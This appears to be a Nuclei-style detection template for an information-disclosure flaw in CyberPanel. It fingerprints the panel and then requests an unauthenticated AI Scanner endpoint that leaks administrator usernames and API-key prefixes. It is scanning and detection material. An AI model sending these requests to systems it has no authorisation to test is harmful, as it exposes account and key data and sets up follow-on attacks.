id: CVE-2026-87820

info:
  name: "CyberPanel - Information Disclosure"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    CyberPanel versions 2.4.3 through 2.4.5 expose unauthenticated AI Scanner debugging endpoints that disclose
    administrator usernames, API-key prefixes, scan identifiers, target domains, and account metadata.
    Unauthenticated attackers can enumerate panel administrators and recent scanner activity to inventory multi-
    tenant installations and facilitate follow-on attacks.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-87820&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cyberpanel&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-87820
    cwe-id: CWE-489
  metadata:
    verified: false
  tags: cve,cve2026,cyberpanel,debug,disclosure,unauth
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "cyberpanel", "usmannasir/cyberpanel")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/ai-scanner/list-api-keys HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "api_key_prefix", "admin", "recent_scans")'
        condition: and